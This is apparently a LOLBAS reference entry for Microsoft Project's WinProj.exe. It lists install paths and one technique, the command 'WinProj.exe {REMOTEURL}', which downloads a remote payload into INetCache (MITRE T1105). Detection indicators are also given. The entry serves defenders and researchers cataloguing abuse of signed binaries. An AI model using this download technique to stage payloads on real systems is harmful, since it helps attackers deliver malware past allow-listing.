LOL · OtherMSBinary

WinProj.exe

1 techniqueWindowsLOLBASGPL-3.0

// LOL · WinProj.exe

Full path: C:\Program Files (x86)\Microsoft Office\Office14\WinProj.exe
C:\Program Files\Microsoft Office\Office14\WinProj.exe
C:\Program Files (x86)\Microsoft Office\Office15\WinProj.exe
C:\Program Files\Microsoft Office\Office15\WinProj.exe
C:\Program Files (x86)\Microsoft Office\Office16\WinProj.exe
C:\Program Files\Microsoft Office\Office16\WinProj.exe
C:\Program Files (x86)\Microsoft Office\root\Office14\WinProj.exe
C:\Program Files\Microsoft Office\root\Office14\WinProj.exe
C:\Program Files (x86)\Microsoft Office\root\Office15\WinProj.exe
C:\Program Files\Microsoft Office\root\Office15\WinProj.exe
C:\Program Files (x86)\Microsoft Office\root\Office16\WinProj.exe
C:\Program Files\Microsoft Office\root\Office16\WinProj.exe
Author: Avihay Eldad
Created: 2024-02-14T00:00:00.000Z
Credits: Avihay Eldad @AvihayEldad
Upstream: lolbas-project.github.io/lolbas/OtherMSBinaries/WinProj/

Download

File DownloadWindows

Downloads payload from remote server

Use It will download a remote payload and place it in INetCache.

WinProj.exe {REMOTEURL}

Evidence: Upstream reference
Environment: Local host
Context: user
Native: Download
MITRE: T1105
Detection: IOC: URL on a WinProj command line
IOC: WinProj making unexpected network connections or DNS requests
Refs: lolbas-project.github.io/lolbas/OtherMSBinaries/WinProj/